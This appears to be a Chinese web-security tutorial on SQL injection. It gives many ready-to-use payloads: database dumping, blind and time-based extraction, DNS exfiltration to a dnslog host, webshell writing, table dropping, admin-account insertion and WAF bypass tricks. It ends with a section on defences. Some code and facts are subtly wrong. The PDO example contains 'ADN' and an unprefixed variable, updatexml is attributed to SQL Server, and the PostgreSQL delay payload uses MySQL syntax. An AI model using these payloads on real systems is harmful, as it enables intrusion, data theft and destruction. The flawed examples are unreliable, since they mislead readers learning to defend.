SQL注入是Web安全领域最经典、危害最高的高危漏洞之一,长期位于OWASP Top10榜单前列,大部分Web系统数据泄露事件都和SQL注入漏洞有关。其核心本质是用户可控参数被直接凭借到SQL语句中,后端未作严格的安全处理,导致攻击者可以篡改SQL语句的原始执行逻辑,执行恶意SQL代码,包括数据修改、泄露、删除,甚至实现对数据库乃至服务器的控制。


一、SQL注入核心基础

  1.漏洞形成的三个条件

  1. 参数用户可控:前端传入的参数(GET\POST\Cookie\HTTP头等)用户可自由修改
  2. 参数直接拼接到SQL中:后端未作安全处理,直接将用户可控参数拼接到SQL语句中执行
  3. 恶意SQL可成功执行:拼接后的恶意SQL语句被数据库正常解析执行,未得到有效拦截

漏洞代码示例:

后端PHP代码

$username = $_POST['username'];
$password = $_POST['password'];
// 直接拼接用户输入到SQL语句
$sql = "SELECT * FROM admin WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $sql);

  攻击者输入用户名:' or 1=1 -- ,密码任意,后端接收到username参数并将其拼接到SQL语句上变为:

SELECT * FROM admin WHERE username='' OR 1=1 -- ' AND password='xxx'

-- 把后面的password参数部分给注释掉了,or 1=1使条件恒真,直接绕过登录验证,获取管理员权限。

2. 核心危害分级

风险等级 危害场景 具体影响
致命级 远程代码执行/服务器接管 写入 Webshell、执行系统命令、提权获取服务器控制权、植入挖矿 / 勒索病毒
高危级 数据泄露 / 篡改 全量脱库(拖取用户、账号、订单、身份证等核心数据)、篡改 / 删除数据、删库导致业务瘫痪
中危级 越权访问 / 信息探测 绕过登录验证、越权查看 / 修改他人数据、探测数据库 / 服务器版本、架构信息
低危级 业务异常

注入恶意语句导致数据库负载过高、业务响应异常

3.注入点判断方法

通过构造特殊 payload,观察页面响应差异,判断是否存在注入:

注入类型 测试 payload 正常响应 异常响应
数字型注入(参数无引号包裹) ?id=1 AND 1=1 页面正常显示 页面内容不变
?id=1 AND 1=2 页面正常显示 页面无内容 / 报错 / 布局错乱
字符型注入(参数有单 / 双引号包裹) ?name=admin' AND '1'='1 页面正常显示 页面内容不变
?name=admin' AND '1'='2 页面正常显示 页面无内容 / 报错 / 布局错乱
搜索型注入(LIKE 语句) ?keyword=test%' AND 1=1 -- 页面正常显示 页面内容不变
?keyword=test%' AND 1=2 -- 页面正常显示 页面无内容 / 报错

二、SQL注入类型详解

1.按数据返回方式分类

(1)联合查询注入(UNION SELECT)

适用场景:页面有明确的查询结果回显,是比较基础、最容易利用的注入类型

核心原理:通过UNION关键字,将恶意查询的结果拼接到原始查询结果中,直接在页面显示

利用前提:前后两条查询语句的字段数一致、对应字段的数据类型兼容

利用步骤:

  1. 猜解字段数:通过ORDER BY判断原始查询字段数,直到页面正常,确定字段数。或者通过UNION SELECT NULL,NULL……方式判断字段数。示例
    ?id=1 ORDER BY 3 --  #正常
    ?id=1 ORDER BY 4 --  #异常
    ->字段数为3
    
  2. UNION SELECT确定回显位:找到页面回显字段位置,作为后续替换字段
    ?id=-1 UNION SELECT 1,2,3 -- 
    #id=-1使原始查询无结果,只显示UNION 查询的结果
  3. 脱库流程:从数据库名→表名→列名→核心数据,逐级查询。
    查询目标  Payload(MySQL)
    当前数据库名 ?id=-1 UNION SELECT 1,database(),3 --
    所有数据库名 ?id=-1 UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata --
    当前库的所有表名 ?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --
    指定表的所有列名 ?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' AND table_schema=database() --
    拖取核心数据(账号密码) ?id=-1 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users --
(2)报错注入

适用场景:页面无查询结果回显,但会将SQL执行的错误信息输出到页面

核心原理:利用数据库的报错函数,将查询结果通过错误信息强制带出,实现数据获取

主流数据库常用报错函数与 Payload

数据库 核心报错函数 标准 Payload 限制说明
MySQL updatexml() ?id=1 AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) -- 最大返回 32 位字符,超过需用 substr () 分段截取
MySQL extractvalue() ?id=1 AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e)) -- 最大返回 32 位字符
MySQL floor(rand()*2) ?id=1 AND (SELECT 1 FROM (SELECT count(*),concat((SELECT database()),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) -- 无长度限制,适用于长数据查询
SQL Server updatexml() ?id=1 AND 1=(SELECT updatexml(1,concat(0x7e,DB_NAME(),0x7e),1)) -- 同 MySQL
Oracle utl_inaddr.get_host_name() ?id=1 AND utl_inaddr.get_host_name((SELECT user FROM dual))=1 -- 利用域名解析报错带出数据
(3)盲注(无回显无报错场景方案)

适用场景:页面无论SQL语句执行成功与否,返回内容完全一致、无报错、无回显

核心逻辑:通过构造条件语句,让数据库根据查询结果的真假,返回可区分的差异,逐字符猜解数据

① 布尔盲注

核心原理:SQL 语句为真时,页面返回正常内容;为假时,页面返回空白 / 错误页面,通过页面布尔状态差异猜解数据。核心函数substr()(截取字符)、ascii()(获取字符 ASCII 码)、length()(获取字符串长度)标准利用步骤

  1. 猜解数据库名长度:?id=1 AND length(database())=5 -- ,测试到页面正常时,得到库名长度为 5
  2. 逐字符猜解数据库名:?id=1 AND ascii(substr(database(),1,1))=115 -- ,测试第一个字符的 ASCII 码,115 对应小写字母s,依次猜解所有字符
  3. 同理,逐级猜解表名、列名、核心数据
② 时间盲注(延时盲注)

适用场景:页面无布尔状态差异,无论 SQL 真假,返回内容、响应状态完全一致,只能通过响应时间判断结果。核心原理:利用数据库的延时函数,让 SQL 语句为真时执行延时操作,为假时不延时,通过页面响应时间判断条件是否成立。

核心原理:利用数据库的延时函数,让 SQL 语句为真时执行延时操作,为假时不延时,通过页面响应时间判断条件是否成立。

数据库 延时函数 标准 Payload
MySQL sleep() ?id=1 AND if(ascii(substr(database(),1,1))=115,sleep(5),0) --
MySQL benchmark() ?id=1 AND if(ascii(substr(database(),1,1))=115,benchmark(10000000,md5(1)),0) -- (sleep 被过滤时可使用)
SQL Server waitfor delay ?id=1;IF (ascii(substr(DB_NAME(),1,1))=115) WAITFOR DELAY '0:0:5' --
PostgreSQL pg_sleep() ?id=1 AND if(ascii(substr(current_database(),1,1))=115,pg_sleep(5),0) --
Oracle dbms_pipe.receive_message() ?id=1 AND (SELECT CASE WHEN (ascii(substr(user,1,1))=115) THEN dbms_pipe.receive_message('a',5) ELSE 0 END FROM dual)=1 --
③ DNSlog 盲注(带外注入 OOB)

适用场景:无回显、无报错、延时不稳定,是盲注的终极解决方案,效率远高于逐字符猜解。核心原理:利用数据库发起网络请求的能力,将查询结果拼接到域名中,通过 DNS 解析日志获取数据,无需页面回显。前提条件:数据库服务器可访问外网,无出站防火墙限制。

数据库 标准 Payload 核心原理
MySQL ?id=1 AND load_file(concat('\\\\',(SELECT database()),'.xxx.dnslog.cn\\abc')) -- 利用 UNC 路径发起 SMB 请求,触发 DNS 解析,将库名带到 DNSlog 平台
SQL Server ?id=1;EXEC master..xp_dirtree '\\\\'+(SELECT DB_NAME())+'.xxx.dnslog.cn\\abc' -- 利用 xp_dirtree 函数访问 UNC 路径,触发 DNS 解析
Oracle `?id=1 AND utl_http.request('http://'

'.xxx.dnslog.cn')=1 -- `

利用 utl_http 发起 HTTP 请求,触发 DNS 解析
(4)堆叠注入

适用场景:后端数据库驱动支持多语句执行(如 PHP 的mysqli_multi_query()),可通过分号;分隔多条 SQL 语句,一次性执行多个操作。

核心危害:突破 SELECT 查询的限制,可执行增删改查、写入文件、执行命令、修改配置等高危操作,危害极大。Payload 示例

?id=1; DROP TABLE users; --  删除表
?id=1; INSERT INTO admin(username,password) VALUES('hacker','123456'); --  添加管理员账号
?id=1; SELECT '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/shell.php'; --  写入Webshell

限制说明:仅部分数据库驱动支持,PHP 的 PDO 默认不支持多语句,Java 的 JDBC 默认禁用多语句,需手动开启。

2.按注入点位置/特殊场景分类

(1)二次注入(存储型注入)

核心原理:攻击者先将恶意 SQL payload 提交到数据库存储,后端在另一个业务场景中,从数据库取出该 payload 并直接拼接到 SQL 语句中执行,触发注入。

典型场景

  1. 注册账号时,用户名填写' OR 1=1 -- ,提交后正常存储到数据库,无注入触发
  2. 管理员后台查看用户列表时,后端代码:SELECT * FROM users WHERE username='".$row['username']."',取出恶意用户名拼接 SQL,触发注入

核心特点

  • 注入触发与 payload 提交分离,绕过绝大多数 WAF(WAF 仅检测提交时的请求,不检测数据库取出的内容)
  • 隐蔽性较强
  • 需找到 payload 的触发场景,才能完成利用
(2)HTTP 头注入

核心原理:后端会将 HTTP 头的内容(如 User-Agent、X-Forwarded-For、Referer、Cookie)记录到数据库(如访问日志、统计数据),拼接 SQL 时未做过滤,导致注入。

典型场景

  • 网站访问统计功能,将 User-Agent、X-Forwarded-For 存入数据库,payload:User-Agent: ' OR updatexml(1,concat(0x7e,database(),0x7e),1) --
  • Cookie 注入:后端从 Cookie 中获取用户标识,拼接到 SQL 中,payload:Cookie: user=admin' AND 1=1 --
  • X-Forwarded-For 注入:后端获取客户端 IP 时,读取 XFF 头,拼接到 SQL 中,payload:X-Forwarded-For: 127.0.0.1' AND sleep(5) --
(3)宽字节注入

核心原理:后端为MySQL数据库使用 GBK 编码,通过addslashes()等函数对单引号'进行转义(变为\',即%5c%27),攻击者输入%df%27%df与转义符%5c拼接成 GBK 汉字,单引号%27成功逃逸,闭合 SQL 语句。利用前提

  1. 数据库 / 后端编码为 GBK
  2. 后端使用addslashes()mysql_real_escape_string()等转义函数,但未设置正确的连接字符集标准 Payload?id=1%df' AND 1=1 --
(4)二次编码注入

核心原理:后端对参数进行了两次 URL 解码,第一次解码后转义特殊字符,第二次解码时再次还原恶意字符,导致单引号逃逸。

典型示例

  • 攻击者输入%2527(单引号'的 URL 编码是%27,再次编码为%2527
  • 后端第一次解码:%2527%27,转义函数未处理
  • 后端第二次解码:%27',成功闭合 SQL 语句,触发注入

三、主流数据库注入差异详解

不同数据库的系统表、内置函数、语法特性差异极大,实战中需先识别数据库类型,再使用对应 Payload,核心差异如下表:

特性 MySQL SQL Server Oracle PostgreSQL Access
版本识别 version()/@@version @@version v$version视图 version() 无内置函数,通过语法差异识别
系统库 / 表 information_schema(5.0+)、mysql sysobjectssyscolumns all_tablesuser_tab_columns information_schemapg_stat_user_tables msysobjects(需权限)
分页语法 LIMIT m,n TOP N ROWNUM LIMIT m,n TOP N
字符串拼接 concat(a,b) a+b a||b a||b
延时函数 sleep()benchmark() WAITFOR DELAY dbms_pipe.receive_message() pg_sleep() 无原生延时函数
报错函数 updatexml()extractvalue() updatexml() utl_inaddr.get_host_name() 无原生报错函数 无原生报错函数
读写文件 load_file()INTO OUTFILE bulk insertxp_cmdshell UTL_FILE COPY 无原生文件读写
命令执行 UDF 提权、MOF 提权 xp_cmdshell Java 存储过程 COPY FROM PROGRAM 无原生命令执行

四、SQL注入进阶利用手法

1. 读写文件

利用前提:数据库用户拥有FILE权限,MySQL的secure_file_priv配置不为NULL(为空时可读写,为具体路径时仅可读写该路径),利用load_file、into outfile实现

操作 标准 Payload(MySQL) 说明
读取系统敏感文件 ?id=-1 UNION SELECT 1,load_file('/etc/passwd'),3 -- 可读取 SSH 密钥、数据库配置、网站源码等
写入 Webshell ?id=-1 UNION SELECT 1,'<?php @eval($_POST[cmd]);?>',3 INTO OUTFILE '/var/www/html/shell.php' -- 需知道网站绝对路径,写入一句话木马
十六进制写马(绕过引号) ?id=-1 UNION SELECT 1,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e,3 INTO OUTFILE '/var/www/html/shell.php' -- 避免引号被转义,直接写入二进制内容

2. 执行系统命令与提权

数据库 命令执行方法 利用前提
SQL Server xp_cmdshell扩展存储过程 拥有sa管理员权限,开启xp_cmdshell
MySQL UDF 自定义函数提权 拥有FILE权限,可写入 DLL/so 文件到插件目录
PostgreSQL COPY FROM PROGRAM 超级管理员权限,PostgreSQL 9.3+
Oracle Java 存储过程 拥有 DBA 权限,可创建 Java 类执行系统命令

3. 越权与业务篡改

  • 万能密码绕过登录:' OR 1=1 -- ' OR 1=1#admin' --
  • 越权查看他人数据:?order_id=1' OR user_id=123 -- ,查看其他用户的订单
  • 修改管理员密码:堆叠注入执行UPDATE admin SET password='e10adc3949ba59abbe56e057f20f883e' WHERE username='admin' --
  • 业务数据篡改:?id=1; UPDATE goods SET price=0.01 WHERE id=100 -- ,篡改商品价格

五、SQL注入绕过技巧

实战或者CTF中绝大多数网站都会有过滤规则或 WAF,以下是高频绕过手法,按场景分类:

1. 关键字过滤绕过

过滤场景 绕过手法 示例
关键字大小写过滤 大小写混写绕过 SeLeCt FrOm UsErS 替代 SELECT FROM users
关键字单次替换过滤 双写绕过 seselectlect 替代 select(WAF 替换select为空后,剩余select
关键字拆分过滤 注释拆分绕过 s/*xxx*/electsel/**/ectuni/*aaa*/on sel/*bbb*/ect
关键字禁用 等价语法 / 函数替代 过滤and→用&&;过滤or→用 `;过滤substr→用mid/left/right;过滤ascii→用ord/hex;过滤union select→用union all select`
函数禁用 等价功能替代 过滤sleep()→用benchmark(10000000,md5(1));过滤updatexml()→用extractvalue()

2. 空格过滤绕过

  • 注释替代空格:select/**/*/**/from/**/users
  • 括号替代空格:select(id)from(users)where(id=1)
  • 空白字符替代:%09(制表符)、%0a(换行)、%0d(回车)、%0b(垂直制表)、%0c(换页)
  • 反引号替代:selectidfromusers``

3. 单引号过滤绕过

  • 宽字节注入:%df%27 逃逸单引号(GBK 编码场景)
  • 十六进制编码:字符串admin0x61646d696e,无需引号,示例:WHERE username=0x61646d696e
  • 字符拼接:concat(char(97),char(100),char(109),char(105),char(110)) 替代'admin'
  • 二次编码注入:%2527 二次解码后还原为单引号

4. 逻辑运算符 / 比较符过滤绕过

  • 过滤=:用likeregexpbetween><组合替代,示例:WHERE username LIKE 'admin'WHERE ascii(substr(database(),1,1)) BETWEEN 97 AND 122
  • 过滤and/or:用&&/||替代,或用case whenif语句实现条件判断
  • 过滤#/--注释:用;%00截断,或闭合引号实现注释,示例:?id=1' OR '1'='1

5. WAF 进阶绕过手法

  1. 内联注释绕过(MySQL 专属):利用 MySQL 的/*! */内联注释,只有对应版本的 MySQL 会执行注释内的内容,WAF 通常会忽略,示例:?id=-1 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3 --
  2. 分块传输绕过:HTTP 头设置Transfer-Encoding: chunked,将 Payload 拆分为多个块,WAF 无法完整解析,绕过规则匹配
  3. 参数污染绕过:提交多个同名参数,如?id=1&id=-1 UNION SELECT 1,2,3 -- ,WAF 仅检查第一个参数,后端取第二个参数执行
  4. 垃圾数据填充:在 Payload 中插入大量无意义的注释,如/*xxxxxxxxx*/,让 WAF 的正则匹配超时,绕过检测
  5. 协议层绕过:将 GET 参数改为 POST 参数,或修改Content-Typemultipart/form-data,绕过 WAF 的 GET/POST 规则匹配
  6. 编码混淆:多层 URL 编码、Unicode 编码、HTML 实体编码,绕过 WAF 的单一层解码检测

六、SQL 注入防御措施

1.根本防御:预处理语句(参数化查询)

防御SQL注入最有效、最根本的方案

核心原理:将 SQL 语句的结构与数据完全分离,用户输入的参数只会被当作纯数据处理,不会被解析为 SQL 语句的一部分,从根源上杜绝 SQL 注入。

示例:

  • PHP PDO 预处理:
    $pdo=new PDO('mysql:host=localhost;dbname=test;charset=utf8mb4','user','pass');
    //用?占位符,不拼接用户输入
    $stmt=$pdo->prepare("SELECT * FROM admin WHERE username = ? ADN password = ?");
    $stmt->execute([$username,password]);
  • Java MyBatis预处理:
    <!-- 用#{}占位符,会做参数化处理,绝对安全 -->
    <select id="getUser" resultType="User">
      SELECT * FROM admin WHERE username = #{username} AND password = #{password}
    </select>
    <!-- 禁止使用${},会直接拼接参数,存在注入风险 -->
  • Python SQLite:
    cursor.execute("SELECT * FROM admin WHERE username = ? AND password = ?", (username, password))

    关键注意事项:即使使用预处理,也绝对不能将用户输入拼接到 SQL 语句中,否则仍会存在注入。

2.第二道防线:安全的输入校验

  • 白名单优先原则:对输入参数做严格的白名单校验,比如数字型参数必须用intval()转换为整数;用户名仅允许字母、数字、下划线;日期参数严格匹配日期格式。
  • 黑名单辅助过滤:作为补充手段,过滤高危关键词(如union、select、and、or、sleep等),但不可单独依赖黑名单
  • 严格限制输入长度:避免前端检验用户输入长度,前端检验很容易绕过,避免超长恶意Payload绕过检测

3.第三道防线:最小权限原则

  • 数据库用户权限最小化:Web用户使用的数据库账号,仅分配业务必需的SELECT/INSERT/UPDATE/DELETE权限,禁止使用root、sa、DBA等搞权限账号。
  • 禁用高危权限:禁止给Web账号分配FILE、PROCESS、SUPER、EXEC等高危权限,关闭不必要的存储过程与扩展。
  • 限制数据库访问范围:仅允许Web服务器IP访问数据库,禁止公网暴露数据库端口

4.第四道防线:安全配置与错误处理

  • 关闭错误回显:生产环境绝对禁止将 SQL 错误信息输出到前端页面,错误信息仅记录到后端日志,前端仅返回通用的 “系统错误” 提示,杜绝报错注入。
  • 数据库安全配置
    • MySQL 设置secure_file_priv=NULL,禁止文件读写
    • 设置正确的数据库字符集,避免宽字节注入
    • 关闭不必要的数据库功能与端口

5.第五道防线:边界防护与审计

  • 部署WAF:Web 应用防火墙可拦截绝大多数常规 SQL 注入攻击,作为兜底防护。
  • 开启审计日志:记录数据库的所有 SQL 执行语句,尤其是敏感操作(如管理员表查询、DROP/ALTER 操作),便于攻击溯源与异常检测。
  • 定期安全检测:定期开展漏洞扫描、渗透测试、代码审计,及时发现并修复注入漏洞。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐